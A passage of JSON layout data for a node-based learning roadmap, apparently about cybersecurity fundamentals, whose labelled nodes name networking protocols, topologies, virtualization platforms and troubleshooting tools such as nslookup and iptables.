49,\n      \"style\": {\n        \"width\": 61,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 129.83869840590535,\n        \"y\": 1119.3976333088228\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 61,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"QCVYF1rmPsMVtklBNDNaB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 193.8386984059053,\n        \"y\": 1119.3976333088228\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"WLAN\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 76,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 76,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 193.8386984059053,\n        \"y\": 1119.3976333088228\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 76,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"n2nh_Yxc7y1uLO42nZDGA\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 51.41830316885728,\n        \"y\": 1174.6103155810856\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Understand these\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 51.41830316885728,\n        \"y\": 1174.6103155810856\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"M2J4wsTcEo3IcULZDRNyM\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -20.75479685850621,\n        \"y\": 1211.5411782062843\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"vpVkdDBnrOF3NrXEw8Hpn\"\n      },\n      \"zIndex\": -999,\n      \"width\": 300,\n      \"height\": 111,\n      \"style\": {\n        \"width\": 300,\n        \"height\": 111\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -20.75479685850621,\n        \"y\": 1211.5411782062843\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 300,\n        \"height\": 111\n      }\n    },\n    {\n      \"id\": \"R5HEeh6jwpQDo27rz1KSH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -7.834401621458142,\n        \"y\": 1223.9790557985987\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DHCP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LrwTMH_1fTd8iB9wJg-0t\"\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -7.834401621458142,\n        \"y\": 1223.9790557985987\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"r1IKvhpwg2umazLGlQZL1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 66.16559837854186,\n        \"y\": 1223.9790557985987\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"DNS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"xWxusBtMEWnd-6n7oqjHz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 61,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 61,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 66.16559837854186,\n        \"y\": 1223.9790557985987\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 61,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tf0TymdPHbplDHvuVIIh4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 130.16559837854186,\n        \"y\": 1223.9790557985987\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"NTP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"vCkTJMkDXcQmwsmeNUAX5\"\n      },\n      \"zIndex\": 999,\n      \"width\": 61,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 61,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 130.16559837854186,\n        \"y\": 1223.9790557985987\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 61,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hN8p5YBcSaPm-byQUIz8L\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 194.16559837854192,\n        \"y\": 1223.9790557985987\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"IPAM\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QCVYF1rmPsMVtklBNDNaB\"\n      },\n      \"zIndex\": 999,\n      \"width\": 76,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 76,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 194.16559837854192,\n        \"y\": 1223.9790557985987\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 76,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BeOWMvEDBZn64OsZkBkQ2\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 52.24520314149379,\n        \"y\": 1279.1917380708614\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Functions of each\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"n2nh_Yxc7y1uLO42nZDGA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 154,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 52.24520314149379,\n        \"y\": 1279.1917380708614\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 154,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"HJ1wroQw_zvdE0HORyOck\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -20.427896885869472,\n        \"y\": 1315.0478118041308\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"M2J4wsTcEo3IcULZDRNyM\"\n      },\n      \"zIndex\": -999,\n      \"width\": 300,\n      \"height\": 111,\n      \"style\": {\n        \"width\": 300,\n        \"height\": 111\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -20.427896885869472,\n        \"y\": 1315.0478118041308\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 300,\n        \"height\": 111\n      }\n    },\n    {\n      \"id\": \"P0ZhAXd_H-mTOMr13Ag31\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -7.507501648821517,\n        \"y\": 1327.4856893964452\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Star\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"R5HEeh6jwpQDo27rz1KSH\"\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -7.507501648821517,\n        \"y\": 1327.4856893964452\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9vEUVJ8NTh0wKyIE6-diY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 66.49249835117848,\n        \"y\": 1327.4856893964452\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Ring\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"r1IKvhpwg2umazLGlQZL1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 61,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 61,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 66.49249835117848,\n        \"y\": 1327.4856893964452\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 61,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PYeF15e7iVB9seFrrO7W6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 130.49249835117848,\n        \"y\": 1327.4856893964452\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Mesh\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tf0TymdPHbplDHvuVIIh4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 74,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 74,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 130.49249835117848,\n        \"y\": 1327.4856893964452\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 74,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0DWh4WmLK_ENDuqQmQcu4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 206.96534765586688,\n        \"y\": 1327.4856893964452\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Bus\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"hN8p5YBcSaPm-byQUIz8L\"\n      },\n      \"zIndex\": 999,\n      \"width\": 61,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 61,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 206.96534765586688,\n        \"y\": 1327.4856893964452\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 61,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RfVcN1i-70yq4bEAcm-Ry\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 45.57210311413053,\n        \"y\": 1382.698371668708\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Network Topologies\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"BeOWMvEDBZn64OsZkBkQ2\"\n      },\n      \"zIndex\": 999,\n      \"width\": 168,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 45.57210311413053,\n        \"y\": 1382.698371668708\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 168,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"6Dfk8Gt9DE8EYczCwEAyQ\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -21.175785805162263,\n        \"y\": 1420.7040231858357\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"HJ1wroQw_zvdE0HORyOck\"\n      },\n      \"zIndex\": -999,\n      \"width\": 300,\n      \"height\": 172,\n      \"style\": {\n        \"width\": 300,\n        \"height\": 172\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -21.175785805162263,\n        \"y\": 1420.7040231858357\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 300,\n        \"height\": 172\n      }\n    },\n    {\n      \"id\": \"8Mog890Lj-gVBpWa05EzT\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -13.810285668345273,\n        \"y\": 1433.14190077815\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SSH\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"P0ZhAXd_H-mTOMr13Ag31\"\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -13.810285668345273,\n        \"y\": 1433.14190077815\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ia6M1FKPNpqLDiWx7CwDh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 60.744609431885806,\n        \"y\": 1433.14190077815\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"RDP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9vEUVJ8NTh0wKyIE6-diY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 66,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 66,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 60.744609431885806,\n        \"y\": 1433.14190077815\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 66,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ftYYMxRpVer-jgSswHLNa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 129.7446094318858,\n        \"y\": 1433.14190077815\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"FTP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"PYeF15e7iVB9seFrrO7W6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 68,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 68,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 129.7446094318858,\n        \"y\": 1433.14190077815\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 68,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"YEy6o-clTBKZp1yOkLwNb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 201.18971433165478,\n        \"y\": 1433.14190077815\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SFTP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"0DWh4WmLK_ENDuqQmQcu4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 201.18971433165478,\n        \"y\": 1433.14190077815\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8He-lADSDdhv4-CjwRMlw\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 47.68851991059739,\n        \"y\": 1544.8747594889746\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Network Protocols\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"RfVcN1i-70yq4bEAcm-Ry\"\n      },\n      \"zIndex\": 999,\n      \"width\": 168,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 47.68851991059739,\n        \"y\": 1544.8747594889746\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 168,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"3Awm221OJHxXNLiL9yxfd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -13.810285668345273,\n        \"y\": 1486.5008150293284\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"HTTP / HTTPS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 161,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 161,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -13.810285668345273,\n        \"y\": 1486.5008150293284\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 161,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LKK1A5-xawA7yCIAWHS8P\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 149.18971433165473,\n        \"y\": 1486.5008150293284\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SSL / TLS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 124,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 124,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 149.18971433165473,\n        \"y\": 1486.5008150293284\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AjywuCZdBi9atGUbetlUL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -373.8108056117037,\n        \"y\": 731.3605858762598\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"VMWare\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 137,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 137,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -373.8108056117037,\n        \"y\": 731.3605858762598\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 137,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vGVFhZXYOZOy4qFpLLbxp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -232.12449524069427,\n        \"y\": 731.3605858762598\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"VirtualBox\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 151,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 151,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -232.12449524069427,\n        \"y\": 731.3605858762598\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 151,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BisNooct1vJDKaBKsGR7_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -373.8108056117037,\n        \"y\": 784.3605858762598\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"esxi\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 137,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 137,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -373.8108056117037,\n        \"y\": 784.3605858762598\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 137,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jqX1A5hFF3Qznqup4lfiF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -232.12449524069427,\n        \"y\": 784.3605858762598\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"proxmox\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 151,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 151,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -232.12449524069427,\n        \"y\": 784.3605858762598\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 151,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CzZbiEbtngRNJOKbNQUxp\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -375.01868263492054,\n        \"y\": 840.1567847664894\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Common Virtualization Technologies\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 296,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -375.01868263492054,\n        \"y\": 840.1567847664894\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 296,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"CIoLaRv5I3sCr9tBnZHEi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -360.1978709534737,\n        \"y\": 892.3992610568729\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Hypervisor\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 129,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 129\n      },\n      \"positionAbsolute\": {\n        \"x\": -360.1978709534737,\n        \"y\": 892.3992610568729\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 129,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"251sxqoHggQ4sZ676iX5w\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -226.48697590584604,\n        \"y\": 945.3992610568729\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"VM\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 129,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 129\n      },\n      \"positionAbsolute\": {\n        \"x\": -226.48697590584604,\n        \"y\": 945.3992610568729\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 129,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LocGETHz6ANYinNd5ZLsS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -226.48697590584604,\n        \"y\": 892.3992610568729\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"GuestOS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 129,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 129\n      },\n      \"positionAbsolute\": {\n        \"x\": -226.48697590584604,\n        \"y\": 892.3992610568729\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 129,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"p7w3C94xjLwSMm5qA8XlL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -360.1978709534737,\n        \"y\": 945.3992610568729\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"HostOS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 129,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 129\n      },\n      \"positionAbsolute\": {\n        \"x\": -360.1978709534737,\n        \"y\": 945.3992610568729\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 129,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"eDe7z_-RSBCCZBl9isKFl\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -323.5663455066204,\n        \"y\": 1001.3080046415863\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Basics of Virtualization\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 191,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -323.5663455066204,\n        \"y\": 1001.3080046415863\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 191,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"OdqcE-If6coh0i2C2ob4Z\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": -318.27990812357274,\n        \"y\": 1372.2339170325572\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Troubleshooting Tools\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 185,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -318.27990812357274,\n        \"y\": 1372.2339170325572\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 185,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"tk4iG5i1Ml9w9KRO1tGJU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -292.87569401982097,\n        \"y\": 1159.977230118865\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"nslookup\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 91,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 91,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -292.87569401982097,\n        \"y\": 1159.977230118865\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 91,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jr8JlyqmN3p7Ol3_kD9AH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -198.63821789482625,\n        \"y\": 1159.4987159982743\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"iptables\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 114,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 114,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -198.63821789482625,\n        \"y\": 1159.4987159982743\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 114,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"k6UX0BJho5arjGD2RWPgH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -374.08322195494287,\n        \"y\": 1212.4987159982743\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Packet Sniffers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 288,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 288,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      